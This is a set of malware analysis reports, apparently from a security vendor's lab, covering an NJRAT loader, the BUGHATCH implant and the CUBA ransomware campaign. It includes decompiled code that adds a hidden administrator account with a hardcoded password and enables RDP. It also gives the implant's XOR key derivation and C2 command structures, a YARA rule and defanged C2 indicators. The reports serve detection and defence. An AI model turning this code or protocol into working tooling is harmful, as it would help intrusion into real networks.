Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the VirusTotal command line tool and can make API queries, searching for known files is another simple loop over all the saved dll files.
for entry in *.dll; do
    hash=$(sha256sum "${entry}" | awk '{print $1}')
    vt search "${hash}" >"${entry}.vt.yml"
done

Looking at the output, we can see that any yml file (the vt command output) with 0 bytes means no match. These files are unknown to VirusTotal. In this output, we can see that file-30.dll , file-31.dll , and file-34.dll are unknown to VirusTotal.
$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml

The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the strings command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the strings command won’t work to extract strings from .Net assemblies. The file command can again help us identify these as in this example:
$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, ikdasm. This gives us our final loop to search for domain names or references to HTTP URLs.
for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done

For more details you can refer to this shell script that puts this second stage of analysis together.
Diamond Model
Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

Observed adversary tactics and techniques
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Resource Development
Execution
Persistence
Defense Evasion
Discovery
Command and Control

Techniques / Sub techniques
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Acquire Infrastructure
Stage Capabilities: Upload Malware
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Command and Scripting Interpreter: Visual Basic
Command and Scripting Interpreter: PowerShell
System Binary Proxy Execution: InstallUtil
Obfuscated Files or Information

Detection logic
Behavior rules

Connection to WebService by a Signed Binary Proxy
Suspicious PowerShell Execution
Process Execution with Unusual File Extension
Script File Written to Startup Folder
Suspicious PowerShell Execution via Windows Scripts
Connection to Dynamic DNS Provider by an Unsigned Binary

Hunting queries
Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.
The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.
KQL query
Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.
The proceeding and preceding wildcards ( * ) can be an expensive search over a large number of events.
process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)

EQL query
Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the replace function. This identified all observed REF4526 events.
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

References
The following were referenced throughout the above research:

https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/

Observables
All observables are also available for download in both ECS and STIX format in a combined zip bundle.
The following observables were discussed in this research.
| Observable                                                                                      | Type        | Reference     | Note                             |
| ----------------------------------------------------------------------------------------------- | ----------- | ------------- | -------------------------------- |
| 49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2                                | SHA-256     | dllsica.bin   | Initial loader                   |
| bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf                                | SHA-256     | pesica.bin    | YIPPHB downloader                |
| 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3                                | SHA-256     | 10oct8000     | NJRAT implant                    |
| https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt | url         | Loader phase  | NJRAT download location          |
| https://tinyurl[.]com/2erph6cs                                                                | url         | Loader phase  | REF4526 loader download location |
| https://tinyurl[.]com/4vfu6wd                                                                 | url         | Dropper phase | YIPPHB download location         |
| wins10ok.duckdns[.]org                                                                          | domain-name | NJRAT C2      | NA                               |


BUGHATCH Malware Analysis
Salim Bitam — Fri, 09 Sep 2022 00:00:00 GMT
Key takeaways

Elastic Security Labs is releasing a BUGHATCH malware analysis report from a recent campaign
This report covers detailed code analysis, network communication protocols, command handling, and observed TTPs
From this research we produced a YARA rule to detect the BUGHATCH downloader

Preamble
BUGHATCH is an implant of a custom C2 deployed during the CUBA ransomware campaigns we observed in February of 2022, this tool was most likely built by the threat actor themselves as it was not used previously.
BUGHATCH is capable of downloading and executing commands and arbitrary code, it gives the operator the freedom to execute payloads with different techniques like reflection, shellcode execution, system command execution, and so on. The samples we have seen were not obfuscated and were deployed using a custom obfuscated in-memory dropper written in PowerShell and referred to as TERMITE by Mandiant.
In this document, we will go through the execution flow of BUGHATCH highlighting its functionalities and code execution techniques, a YARA rule and the MITRE ATT&CK mapping can be found in the appendix.
In this analysis we will describe the following:

Token adjustment
Information collection
Threading and thread synchronization
Network communication protocol
Command handling


  For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:
  
  CUBA Ransomware Campaign
  CUBA Malware Analysis
  

Static analysis
|              |                                                                  |
| ------------ | ---------------------------------------------------------------- | --- |
| SHA256       | F1325F8A55164E904A4B183186F44F815693A008A9445D2606215A232658C3CF |
| File Size    | 35840 bytes                                                      |
| File Type:   | Win32 executable                                                 |
| Signed?      | No                                                               |
| Packer?      | No                                                               |
| Compiler     | Visual Studio 2017 - 15.5.0 preview 2                            |
| Compile Time | Sun Feb 06 21:05:18 2022                                         | UTC |
| Entropy      | 6.109                                                            |
Sections
|        |                |              |          |         |                                  |
| ------ | -------------- | ------------ | -------- | ------- | -------------------------------- |
| Name   | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5                              |
| .text  | 0x1000         | 0x6000       | 0x5400   | 5.933   | A6E30CCF838569781703C943F18DC3F5 |
| .rdata | 0x7000         | 0x3000       | 0x2A00   | 6.217   | 9D9AD1251943ECACE81644A7AC320B3C |
| .data  | 0xA000         | 0x1000       | 0x400    | 1.163   | B983B8EB258220628BE2A88CA44286B4 |
| .reloc | 0xB000         | 0x424        | 0x600    | 5.235   | 39324A58D79FC5B8910CBD9AFBF1A6CB |
Code analysis
BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs ( VirtualAlloc , CreateThread, WaitForSingleObject ).
The PowerShell loader uses inline C# to load APIs needed for shellcode injection as seen in the following pseudocode.

The PowerShell script is obfuscated with random functions and variable names and contains the shellcode in a reverse-Base64 format.

The script first decodes the reverse-Base64 encoded data, then allocates a memory region with VirtualAlloc before copying the shellcode into it. Finally, the script executes the shellcode by creating a new thread with the CreateThread API.

The shellcode downloads another shellcode blob and the encrypted PE implant from the C2 server, this second shellcode decrypts and reflectively loads the PE malware.
This section dives deeper into the BUGHATCH execution flow, threading and encryption implementation, communication protocol with C2, and finally supported commands and payload execution techniques implemented.
The following is a diagram summarizing the execution flow of the implant:


Token adjustment
The implant starts by elevating permissions using the SeDebugPrivilege method, enabling the malware to access and read the memory of other processes. It leverages common Windows APIs to achieve this as shown in the pseudocode below:

Information collection
The malware collects host-based information used to fingerprint the infected system, this information will be stored in a custom structure that will be 2-byte XOR encrypted and sent to the C2 server in an HTTP POST request.
The following lists the collected information:

Current value of the performance counter
Network information
System information
Token information
Domain and Username of the current process
Current process path

Current value of the performance counter
Using the QueryPerformanceCounter API, it collects the amount of time since the system was last booted. This value will be used to compute the 2-byte XOR encryption key to encrypt communications between the implant and the C2 server, a detailed analysis of the encryption implementation will follow.

Network information
It collects the addresses of network interfaces connected to the infected machine by using the GetIpAddrTable Windows API.

System information
BUGHATCH collects key system information which includes:

Windows major release, minor release, and build number
Processor architecture (either 32-bit or 64-bit)
Computer name


Token information
The agent proceeds to collect the current process token group membership, it invokes the AllocateAndInitializeSid API followed by the CheckTokenMembership API, concatenating the SDDL SID strings for every group the process token is part of. While not unique to BUGHATCH, this is detected by Elastic's Enumeration of Privileged Local Groups Membership detection rule.

Domain and username of the current process
The malware opens a handle to the current process with OpenProcessToken and gets the structure that contains the user account of the token with GetTokenInformation. It then retrieves the username and domain of the user account with the LookupAccountSidW API and concatenates the 2 strings in the following format: DOMAIN\USERNAME.

Current process path
Finally, it collects the current process path with GetModuleFileNameW. The malware then encrypts the entire populated structure with a simple 2-byte XOR algorithm, this encryption implementation is detailed later in the report.
Threading and thread synchronization
The implant is multithreaded; it uses two different linked lists, one is filled with the commands received from the C2 server and the other is filled with the output of the commands executed.
It spawns 5 worker threads, each handling a command received from the C2 server by accessing the appropriate linked list using the CriticalSection object. The main process’ thread also retrieves the command's output from the second linked list using the CriticalSection object for synchronization purposes, to avoid any race conditions.

Network communication protocol
In this section we will detail:

Base communication protocol
Encryption implementation

The implant we analyzed uses HTTP(S) for communications. On top of the SSL encryption of the protocol, the malware and C2 encrypt the data with a 2-byte XOR key computed by the malware for each new session. The values to compute the 2-byte XOR key are prepended at the beginning of the base protocol packet which the server extracts to decrypt/encrypt commands.
When launched, the malware will first send an HTTP POST request to the C2 server containing all the collected information extracted from the victim’s machine, the C2 then responds with the operator’s command if available, or else the agent sleeps for 60 seconds. After executing the command and only if the output of the executed command is available, the malware will send a POST request containing both the collected information and the command’s output, otherwise, it sends the collected information and waits for new commands.

Base communication protocol
The author(s) of BUGHATCH implemented a custom network protocol, the following is the syntax that the agent and server use for their communication:


XOR key values: The values to compute the 2-byte XOR encryption key used to encrypt the rest of the data
Separator: A static value ( 0x389D3AB7 ) that separates Msg chunks, example: the server can send different instructions in the same HTTP request separated by the Separator
Chunk length: Is the length of the Msg , Separator and Chunk length
Msg: Is the message to be sent, the message differs from the agent to the server.

We will dive deeper into the encapsulation of the Msg for both the agent and the server.

Encryption implementation
The malware uses 2-byte XOR encryption when communicating with the C&C server; a 2-byte XOR key is generated and computed by the implant for every session with the C2 server.
The agent uses two DWORD values returned by QueryPerformanceCounter API as stated earlier, it then computes a 2-byte XOR key by XOR-encoding the DWORD values and then multiplying and adding hardcoded values. The following is a Python pseudocode of how the KEY is computed:
tmp = (PerformanceCount[0] ^ PerformanceCount[1]) & 0xFFFFFFFF
XorKey = (0x343FD * tmp + 0x269EC3)& 0xFFFFFFFF
XorKey = p16(XorKey >> 16).ljust(2, b'\x00')


Command handling
In this section, we will dive deeper into the functionalities implemented in the agent and their respective Msg structure that will be encapsulated in the base communication protocol structure as mentioned previously.
Once the working threads are started, the main thread will continue beaconing to the C2 server to retrieve commands. The main loop is made up of the following:

Send POST request
Decrypt the received command and add it to the linked list
Sleep for 60 seconds

A working thread will first execute the RemoveEntryRecvLinkedList function that accesses and retrieves the data sent by the C2 server from the linked list.

The thread will then de-encapsulate the data received from the C2 and extract the Msg(Command). The malware implements different functionalities according to a command flag, the table below illustrates the functionalities of each command:
|              |                                                                       |
| ------------ | --------------------------------------------------------------------- |
| Command FLAG | Description                                                           |
| 1            | Group functions related to code and command execution                 |
| 2            | Group functions related to utilities like impersonation and migration |
| 3            | Process injection of a PE file in a suspended child process           |
Command 1
This command gives access to functionalities related to payload execution, from DLL to PE executable to PowerShell and cmd scripts.
Some of the sub-commands use pipes to redirect the standard input/output of the child process, which enables the attacker to execute payloads and retrieve its output, for example, PowerShell or Mimikatz, etc…
The following is the list of sub commands:
|                  |                             |                                                                                                                                           |
| ---------------- | --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| Sub Command Flag | Function Name               | Functionality description                                                                                                                 |
| 2                | ReflectivelyExecutePERemote | Reflectively loads PE files in a child process and redirects its standard input output, the output will be sent to the operator C2 server |
| 3                | DropPEDiskExecute           | Drops a PE file to disk and executes it, the execution output is then sent to the operator’s C2 server                                    |
| 4                | SelfShellcodeExecute        | Executes a shellcode in the same process                                                                                                  |
| 5                | RemoteShellcodeExecute      | Executes a shellcode in a suspended spawned child process                                                                                 |
| 6                | ExecuteCmd                  | Executes a CMD script/command                                                                                                             |
| 7                | ExecutePowershell           | Executes a Powershell script/command                                                                                                      |
| 9                | ReflectivelyLoadDllRemote   | Executes a DLL reflectively in a remote process using CreateRemoteThread API                                                              |
The following is the structure that is used by the above commands:
struct ExecutePayloadCommandStruct
{
  DWORD commandFlag;
  DWORD field_0;
  DWORD subCommandFlag_1;
  DWORD readPipeTimeOut_2;
  DWORD payloadSize_3;
  DWORD commandLineArgumentSize_4;
  DWORD STDINDataSize_5;
  CHAR payload_cmdline_stdin[n];
};


commandFlag: Indicates the command
subCommandFlag: Indicates the subcommand
readPipeTimeOut: Indicates the timeout for reading the output of child processes from a pipe
payloadSize: Indicates the payload size
commandLineArgumentSize: Indicates length of the command line arguments when executing the payload, example a PE binary
STDINDataSize: Indicates the length of the standard input data that will be sent to the child process
Payload_cmdline_stdin: Can contain the payload PE file for example, its command line arguments and the standard input data that will be forwarded to the child process, the malware knows the beginning and end of each of these using their respective length.

ReflectivelyExecutePERemote
The agent reflectively loads PE binaries in the memory space of a created process in a suspended state (either cmd.exe or svchost.exe ). The agent leverages anonymous (unnamed) pipes within Windows to redirect the created child process's standard input and output handles. It first creates an anonymous pipe that will be used to retrieve the output of the created process, then the pipe handles are specified in the STARTUPINFO structure of the child process.

After creating the suspended process, the malware allocates a large memory block to write shellcode and a XOR encrypted PE file.
The shellcode will 2-byte XOR decrypt and load the embedded PE similar to ( Command 3 ). This command can load 64bit and 32bit binaries, each architecture has its own shellcode PE loader, after injecting the shellcode it will point the instruction pointer of the child process’s thread to the shellcode and resume the thread.

The following is an example of a packet captured from our custom emulated C2 server, we can see the structure discussed earlier on the left side and the packet bytes on the right side, for each command implemented in the malware, a packet example will be given.

DropPEDiskExecute
With this subcommand, the operator can drop a PE file on disk and execute it. The agent has 3 different implementations depending on the PE file type, GUI Application, CUI (Console Application), or a DLL.
For CUI binaries, the malware first generates a random path in the temporary folder and writes the PE file to it using CreateFileA and WriteFile API.

It then creates a process of the dropped binary file as a child process by redirecting its standard input and output handles; after execution of the payload the output is sent to the operator’s C2 server.
For GUI PE binaries, the agent simply writes it to disk and executes it directly with CreateProcessA API.
And lastly, for DLL PE files, the malware first writes the DLL to a randomly generated path in the temporary folder, then uses c:\windows\system32\rundll32.exe or c:\windows\syswow64\rundll32.exe (depending on the architecture of the DLL) to run either an exported function specified by the operator or the function start if no export functions were specified.


SelfShellcodeExecute
This subcommand tasks the agent to execute shellcode in its own memory space by allocating a memory region using VirtualAlloc API and then copying the shellcode to it, the shellcode is executed by creating a thread using CreateThread API.


RemoteShellcodeExecute
This sub-command can be used to execute a 32-bit or a 64-bit position independent shellcode in another process memory space.
Similarly to the SpawnAgent subcommand, the malware creates a suspended svchost.exe process with CreateProcessA API, allocates a memory region for the shellcode sent by the C2 server with VirtualAllocEx , and writes to it with WriteProcessMemory , it then sets the suspended thread instruction pointer to point to the injected shellcode with SetThreadContext and finally it will resume the thread with ResumeThread to execute the payload.



ExecuteCmd and ExecutePowershell
An operator can execute PowerShell scripts or CMD scripts in the infected machine, the malware can either write the script to a file in the temporary folder with a randomly generated name as follow: TEMP.PS1 for PowerShell or TEMP.CMD for a Command shell. The malware then passes parameters to it if specified by the malicious actor and executes it, the malware uses named pipes to retrieve the output of the PowerShell process.


ReflectivelyLoadDllRemote
Execute reflectively a 32-bit or 64-bit DLL in a process created in a suspended state, the following summarizes the execution flow:

Check if the PE file is a 32 or 64-bit DLL
Create a suspended svchost.exe process
Allocate memory for the DLL and the parameter for the DLL if specified by the C2 command with the VirtualAllocEx API
Write to the remotely allocated memory withthe WriteProcessMemory API the DLL and the parameter if specified
Create a remote thread to execute the injected DLL with the CreateRemoteThread API



Command 2
The command 2 has multiple sub functionalities as shown in the command table above, according to a subCommandFlag the malware can do 6 different operations as follows:
|                  |                       |                              |
| ---------------- | --------------------- | ---------------------------- |
| Sub Command Flag | Function Name         | Functionality description    |
| 1                | ExitProcess           | Exit process                 |
| 2                | SelfDeleteExitProcess | Self delete and exit process |
| 3                | SpawnAgent64          | Spawn 64-bit agent           |
| 4                | SpawnAgent32          | Spawn 32-bit agent           |
| 0x1001           | ImpersonateToken      | Impersonate explorer         |
| 0x1002           | MigrateC2             | Change C2 config             |
The following is the structure that is used by the above commands:
struct ImpersonateReplicateStruct
{
  int subCommandFlag;
  int impersonateExplorerToken;
  char padding[16];
  __int16 isParameterSet;
  WCHAR w_parameters[n];
};

ExitProcess
Calls the ExitProcess(0) API to terminate.

SelfDeleteExitProcess
The agent gets the PATH of the current process with GetModuleFileNameA and then executes the following command to self-delete: cmd.exe /c del FILEPATH \>\> NUL using CreateProcessA then simply exit the process with ExitProcess(0).

SpawnAgent64 and SpawnAgent32
When subcommands 3 or 4 are specified, the malware will spawn another agent on the same machine depending on the subcommand sent by the C2, as shown in the table above.
The malware first retrieves the C2 IP address embedded in it, it will then do an HTTP GET request to download a packed agent in shellcode format, in the sample we analyzed /Agent32.bin URI is for the 32-bit agent, and /Agent64.bin is for 64-bit the agent.

The malware then creates a suspended svchost.exe process with CreateProcessA API, writes the agent shellcode to the process, sets its instruction pointer to point to the injected shellcode with SetThreadContext , and finally it will resume the thread with ResumeThread to execute the injected payload.

ImpersonateToken
This subcommand is specific to process tokens; an attacker can either impersonate the explorer.exe token or create a token from credentials (Domain\Username, Password) sent by the C2 to spawn another instance of the current process.

It will first check if the current process is a local system account or local service account or network service account by testing whether the given process token is a member of the group with the specified RID ( SECURITY_LOCAL_SYSTEM_RID , SECURITY_LOCAL_SERVICE_RID , SECURITY_NETWORK_SERVICE_RID ) respectively.

Then depending if the operator specified credentials or not, the malware will first call LogonUserW with the Domain\User and password to create a token then it will spawn another instance of the current process with this token.

If not, the implant will impersonate the explore.exe process by duplicating its token with DuplicateTokenEx and then spawn the current process with the duplicated token if no credentials are specified.

MigrateC2
The operator can migrate the implant to another C2 server by specifying the subcommand 0x1001 with the IP address of the new C2.


Command 3
When command 3 is received the malware will reflectively load a PE file embedded as payload in the C&C request in another process's memory space, the following is an overview of the execution:

Determine the type and architecture of the PE file
Create a suspended process
Allocate a large memory in the suspended process
Write a shellcode in the allocated memory that will locate, decrypt and reflectively load the PE file
2-byte XOR encrypt the PE file and append it after the shellcode
Set the EIP context of the suspended process to execute the shellcode

The shellcode will then reflectively load the PE file

The agent first parses the PE file received from the C2 server to determine the type and architecture of the PE file.

And according to this information, a Windows signed executable will be chosen to inject into.
If the PE file is CUI (Console User Interface), the malware will choose cmd.exe , however, if it is GUI (Graphical User Interface) or a DLL PE file it will choose svchost.exe.

The malware will then create a suspended process with CreateProcessA API (either cmd.exe or svchost.exe ) and allocate a large amount of memory with VirtualAllocEx in the created process, it will then copy a position independent shellcode stored in the .rdata section to the newly allocated memory that is responsible for locating according to a specific tag the appended PE file, decrypt it and reflectively load it in memory.
Then it appends after the shellcode a 12 bytes structure composed of a tag, the size of the PE file, and a 2-byte XOR key.
It will then 2-byte XOR encrypt the PE file and append it after the structure, the following is an overview of the written data to the allocated memory:
|           |     |         |                |                              |
| --------- | --- | ------- | -------------- | ---------------------------- |
| SHELLCODE | TAG | PE SIZE | 2-byte XOR KEY | 2-byte XOR encrypted PE file |

The agent will then set the thread context with SetThreadContext and point the instruction pointer of the suspended process to the shellcode then it will simply resume the execution with ResumeThread.
The shellcode will first locate the 2-byte XOR encrypted PE file according to the tag value ( 0x80706050 ), it will then 2-byte XOR decrypt it and load it reflectively on the same process memory.
Observed adversary tactics and techniques
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Execution
Collection
Command and Control
Exfiltration

Techniques / sub techniques
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Command and Scripting Interpreter: Windows Command Shell
Encrypted Channel: Asymmetric Cryptography
Encrypted Channel: Symmetric Cryptography
Exfiltration Over C2 Channel
Automated Collection
Native API

Detections
Detection rules
The following detection rule was observed during the analysis of the BUGHATCH sample. This rule is not exclusive to BUGHATCH activity.

Enumeration of Privileged Local Groups Membership

YARA rule
Elastic Security has created a YARA rule to identify this activity.
rule Windows_Trojan_BUGHATCH {
    meta:
        author = “Elastic Security”
        creation_date = "2022-05-09"
        last_modified = "2022-06-09"
        license = “Elastic License v2”
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BUGHATCH"
        threat_name = "Windows.Trojan.BUGHATCH"
        reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"

    strings:
    $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
    $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
    $a3 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
     $c1 = "-windowstyle hidden -executionpolicy bypass -file"
     $c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
     $c3 = "ReflectiveLoader"
     $c4 = "\\Sysnative\\"
     $c5 = "TEMP%u.CMD"
     $c6 = "TEMP%u.PS1"
     $c7 = "\\TEMP%d.%s"
     $c8 = "NtSetContextThread"
     $c9 = "NtResumeThread"

    condition:
        any of ($a*) or 6 of ($c*)
}



CUBA Ransomware Campaign Analysis
Daniel Stepanic,Derek Ditch,Seth Goodwin,Salim Bitam,Andrew Pease — Thu, 08 Sep 2022 00:00:00 GMT
Key Takeaways

The Elastic Security Team is tracking an organized and financially-motivated ransomware and extortion group called Cuba Ransomware
Cuba Ransomware targets small and medium-sized retailers, exfiltrating sensitive information, and then deploying ransomware
Cuba Ransomware uses a “name and shame” approach by releasing exfiltrated data as an additional method to extort ransomware cryptocurrency payments
We are releasing a YARA signature and providing hunting queries that detect this ransomware family


  For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:
  
  CUBA Malware Analysis
  BUGHATCH Malware Analysis
  

Preamble
The Elastic Security Team is tracking a threat group that is leveraging the Cuba Ransomware, combined with data exfiltration and extortion, to target North American and European retailers and manufacturers for cryptocurrency payments. The threat group has followed an effective, but repetitive cluster of TTPs for initial access, lateral movement, exfiltration, ransomware deployment, and extortion.
Initial Access
The incidents that we have observed included hosts that were infected with a litany of initial access opportunities. These included everything from potentially unwanted programs (PUP) to remotely executable vulnerabilities. Because of this, we cannot verify what the initial access vehicle was, but there are two theories:

An access broker
A remotely exploitable vulnerability

While there are many ways to gain access into a targeted network, we’ll explore the most likely hypotheses for how the CUBA threat group gained access.
Access Broker
As an introduction, an access broker is a threat group who, as they move through the kill chain, has their “actions on objective” as collecting and maintaining remote access into a targeted network so that access can be sold to other threat groups who have other goals.
This is a common tactic for ransomware campaigns where the goal is to rapidly encrypt and extort victims into paying to recover data. When using ransomware kits (ransomware-as-a-service), the threat actors are often focused on moving rapidly across many victims and not on the reconnaissance required to identify and exploit victims to deploy their ransomware.
Ransomware-as-a-service includes a lot of overhead such as negotiating with victims, troubleshooting unlock procedures, and managing the crypto infrastructure. It is often easier to purchase previously exploited systems that allow the ransomware campaign owners to be “shell wranglers” instead of needing to gain and maintain access to a large number of environments.
The theory that an initial access broker may have been used began percolating because we observed access attempts using an Exchange vulnerability in multiple contested networks; however, all networks did not receive the CUBA ransomware. Additionally, we observed initial access attempts in January but did not observe CUBA ransomware until March which would align with an access broker gaining and maintaining persistence while shopping for a buyer.
In the environments where the CUBA ransomware was not deployed, the incident response was rapid, however incomplete, and access was regained. Once the persistence was observed, the adversary was successfully evicted and CUBA was never deployed.
Remotely Exploitable Vulnerability
We observed the execution of the ProxyLogon exploit. Previous research has observed this threat group leveraging ProxyLogon and ProxyShell vulnerabilities to gain initial access.
c:\windows\system32\inetsrv\w3wp.exe, -ap, MSExchangeOWAAppPool, -v, v4.0, -c, C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config, -a, \\.\pipe\[redacted], -h, C:\inetpub\temp\apppools\MSExchangeOWAAppPool\MSExchangeOWAAppPool.config, -w, (empty), -m, 0

In each case REF9019 activity was traced back to Windows servers running Microsoft’s Exchange Server. Although we do not have information on the patch levels of those machines at the time of the execution or the exact vulnerabilities exploited, there is corroborating evidence regarding the exploitation of publicly accessible Exchange servers at this time generally, as well as specific reporting tied to the CUBA threat actor exploiting them.
This information combined with the lack of activity preceding this event, as well as the order of tactics after, indicates that in both cases exploitation of publicly accessible Exchange servers initiated the compromise.

  While analyzing certain alerts throughout these events, we used data present in the process.Ext.memory_region.bytes_compressed field, and the technique we described in our Cobalt Strike series, to extract the memory-resident binaries and shellcode.

Establish Foothold
afk.ttf
This exploitation attempt preceded one primary infection by about 6 weeks. It appears a tactics shift occurred in the intervening period.
The file afk.ttf has been identified as a variant of “ZenPak” by some vendors on VirusTotal. ZenPak is categorized as a generic Trojan which has been associated with the Bazar malware family. The BazarBackdoor has a long history and was recently sighted in ransomware-as-a-service campaigns.
Initially, afk.ttf was identified through a malicious_file alert when it was created by the IIS worker process (w3wp.exe) handling the Exchange Service.

The afk.ttf file is a 64-bit Windows DLL that has a single export, bkfkals. Next, afk.ttf is loaded by rundll32.exe (spawned by w3wp.exe) which unpacks shellcode in memory and executes it. The unpacked shellcode is a Meterpreter payload from the offensive security framework, Metasploit.

Following this, afk.ttf uses an injection technique that allows the injected code to run before the entry point of the main thread of the process. This is known as Early Bird injection and is used in this situation to inject the shellcode in a suspended process for nslookup 8.8.8.8. Once the shellcode was deobfuscated for execution, the Elastic Agent identified and prevented the Metasploit payload.

Using the process.Ext.memory_region.bytes_compressed field we were able to recover the memory snapshot from these two alerts and verified that the shellcode was Meterpreter, which is part of the Metasploit framework. Additionally, we were able to extract the C2 IP (159.203.70[.]39) and URI (/Time/cb6zubbpio…truncated…).

Ultimately this foothold was either never established, or abandoned because there is no further activity from this endpoint until it is re-exploited about 6 weeks later.
add2.exe
The primary execution chain of both infections started with a malicious_file alert that fired upon the creation and execution of add2.exe by the IIS worker process handling the Exchange service. This was the same technique observed previously with the afk.ttf attempt. Interestingly, these executions happened within about 15 minutes of each other on victims in different countries and different industry verticals.

The Elastic Malware Analysis and Reverse Engineering (MARE) team was able to find this file in VirusTotal and pull it down for binary analysis.
BOOL sub_4013B0()
{
  int v1;
  int v2;
  WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )
  {
    wcscpy(username, L"Mysql");
    qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
    if ( Add_user((int)username, (int)password) )
    {
      if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
      hide_accountName(username); SpecialAccounts\\UserList regkey
    }
  }
  return enable_RDP();
}

MARE determined that this executable performs several functions:
Enumerates local administrator and RDP groups.
 WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )

Creates a new user Mysql, sets the password to KJaoifhLOaiwdhadx1@!, and sets no expiration date (0x2Au).
  wcscpy(username, L"Mysql");
    qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
    if ( Add_user((int)username, (int)password) )

Adds this user to the previously enumerated local administrative and RDP groups.
 if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);

Sets the SpecialAccounts\UserList regkey for this user to hide the user from login screens and the control panel.
 hide_accountName(username); regkey

Enables RDP by setting the fDenyTSConnections value to false in the Registry.
return enable_RDP();

In total, add2.exe establishes local persistence via a hidden user and opening of a remote access service. This enables the REF9019 actor to connect back to this machine in case of discovery, patching of the vulnerability, or an incomplete eviction.
Additionally, VirusTotal indicated on the graph page that this file has been hosted at http://208.76.253[.]84.
Of particular note, within the strings of add2.exe, we identified a unique program database file (PDB) named AddUser.pdb. PDB files are used to map elements of source code to the compiled program.

